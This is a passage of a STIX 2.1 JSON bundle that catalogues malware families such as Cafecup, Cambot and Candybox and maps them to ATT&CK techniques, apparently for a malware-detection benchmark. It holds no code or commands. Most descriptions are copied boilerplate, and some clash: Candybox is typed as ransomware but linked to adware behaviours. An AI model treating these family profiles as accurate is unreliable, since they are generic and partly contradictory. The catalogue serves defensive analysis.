      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cachedis exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cafecup",
      "description": "Cafecup (classified in antivirus detection telemetry under designations including Ransom:Win32/Cafecup, Ransom.Win32.Cafecup, and Win32/Cafecup) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cafecup executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cafecup",
        "Ransom.Win32.Cafecup",
        "Win32/Cafecup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cafecup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cafecup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06ed308f-e6e4-55a3-9b72-8fce368c934d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cafecup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86ade172-e89d-5c86-b725-99f45f7de1c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cafecup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f4c046a-d6fd-59e4-ad35-92111f100843",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cafecup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc2a92c6-3d32-56b9-b333-c8ada38a0b8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cafecup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c450b818-332f-5ab7-b021-42230180f013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ce8e3bd1-e561-5c6a-9401-164a2748fce8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cafecup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cakl",
      "description": "Cakl (classified in antivirus detection telemetry under designations including Ransom:Win32/Cakl, Ransom.Win32.Cakl, and Win32/Cakl) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cakl executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cakl",
        "Ransom.Win32.Cakl",
        "Win32/Cakl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cakl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cakl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86214f19-1df5-51f1-b4b3-fd19381fb736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cakl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc1ed1e9-05e6-5fd6-ad12-a0c3ff5a5774",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cakl exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--677b5ab6-8928-53be-8ca8-e4eec8b4bac7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cakl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f783758-09d6-5675-a8b3-0ba659f33b85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cakl exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c4e8131-eb2b-56a3-bc5c-a0af46480ee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2ca1e497-91a7-5c48-b160-3d04024a1b74",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cakl exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cambot",
      "description": "CamBot (cataloged across security vendors as Worm:Win32/CamBot, Backdoor:Win32/CamBot, and Trojan:Win32/CamBot) is a hybrid Windows worm and remote access surveillance backdoor active since 2008. Frequently deployed in conjunction with multi-stage loaders and droppers (such as Ainslot and Cosgand), CamBot was engineered to establish persistent covert command-and-control while spreading across local networks. Once executed on an endpoint, CamBot interrogates network adapters, copies itself across accessible network shares, and infects removable storage media using autorun.inf techniques. CamBot establishes a persistent background Windows service, opens listening communication ports, and connects to remote C2 servers. The backdoor provides unauthorized attackers with arbitrary command execution, remote file upload/download, keystroke logging, and covert webcam video streaming capabilities, enabling extensive corporate and personal surveillance of infected victims. (Observed samples in benchmark: 89)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/CamBot",
        "Backdoor:Win32/CamBot",
        "Trojan:Win32/CamBot",
        "Worm:Win32/CamBot.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cambot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cambot"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f36a4256-c1b7-51bf-8bb8-a692fbfe740a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cambot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa4e22f-44bc-5f25-aa8c-6ded061cdfe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cambot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84380f82-55e3-5e15-a05f-1291faae9808",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cambot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c93b100f-21d8-5cc6-912b-649d0c2b3432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cambot exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d326814-cf2c-5e8f-96e4-d12863f46d21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--694b75c9-7582-5c3b-98c8-100396c0b72b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cambot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Canbis",
      "description": "Canbis (classified in antivirus detection telemetry under designations including Ransom:Win32/Canbis, Ransom.Win32.Canbis, and Win32/Canbis) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Canbis executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Canbis",
        "Ransom.Win32.Canbis",
        "Win32/Canbis"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Canbis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/canbis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d2fa415-3db1-51b2-8e71-0b43f3269b62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Canbis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9d83010-e595-5bca-9301-eb45d18efa9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Canbis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01acdea5-3396-5bcd-8e8b-eccb8136eb88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Canbis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d448c32-ba81-5e31-bb81-1c4ad586b328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Canbis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28284022-4947-510e-86bb-17043c602c14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19c2a07e-5575-57a4-8b75-c7d8597e4444",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Canbis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b5c45e4-cb0f-529b-a57e-76aef6541435",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Candybox",
      "description": "Candybox (classified in antivirus detection telemetry under designations including Ransom:Win32/Candybox, Ransom.Win32.Candybox, and Win32/Candybox) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Candybox executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Candybox",
        "Ransom.Win32.Candybox",
        "Win32/Candybox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Candybox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/candybox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f967123-71d7-56cc-8d99-3eb11a69a8b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b5c45e4-cb0f-529b-a57e-76aef6541435",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candybox exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4cb5bff-ac73-5b79-b954-79b8ef8efe58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b5c45e4-cb0f-529b-a57e-76aef6541435",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candybox exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--866d21d8-d6b6-579d-81a9-55cb5f287336",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b5c45e4-cb0f-529b-a57e-76aef6541435",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candybox exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0d3cd88-f923-5b3c-8675-d66edb312744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Candyopen",
      "description": "Candyopen (classified in antivirus detection telemetry under designations including Trojan:Win32/Candyopen, Trojan.Win32.Candyopen, and Win32/Candyopen) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Candyopen executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Candyopen",
        "Trojan.Win32.Candyopen",
        "Win32/Candyopen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Candyopen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/candyopen"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92933c91-7b49-5f46-8910-6ae840d5cb78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3cd88-f923-5b3c-8675-d66edb312744",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candyopen exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efb1783b-1344-5393-8a74-9576f0846a39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3cd88-f923-5b3c-8675-d66edb312744",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candyopen exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cddc410-51fd-5f74-9e5f-4407933337a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3cd88-f923-5b3c-8675-d66edb312744",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candyopen exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cc107f6-d456-56e6-8cc3-08ebdfea6c99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0d3cd88-f923-5b3c-8675-d66edb312744",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Candyopen exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Capredeam",
      "description": "Capredeam (classified in antivirus detection telemetry under designations including Ransom:Win32/Capredeam, Ransom.Win32.Capredeam, and Win32/Capredeam) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Capredeam executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Capredeam",
        "Ransom.Win32.Capredeam",
        "Win32/Capredeam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Capredeam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/capredeam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f5e191d-1be8-5790-aa1b-f466496fac6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Capredeam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5758f938-5e50-5b0c-8569-ef10b07c4d66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Capredeam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3303c7d-a474-523b-8cc3-f26d50cb863d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Capredeam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--665b7ad5-81d7-59cb-a533-a4f1f06c019c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Capredeam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f9f42fe-ceb2-5f61-9d87-85538286bf4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb7bccfa-0a90-5d68-a483-9d4b9ac054f3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
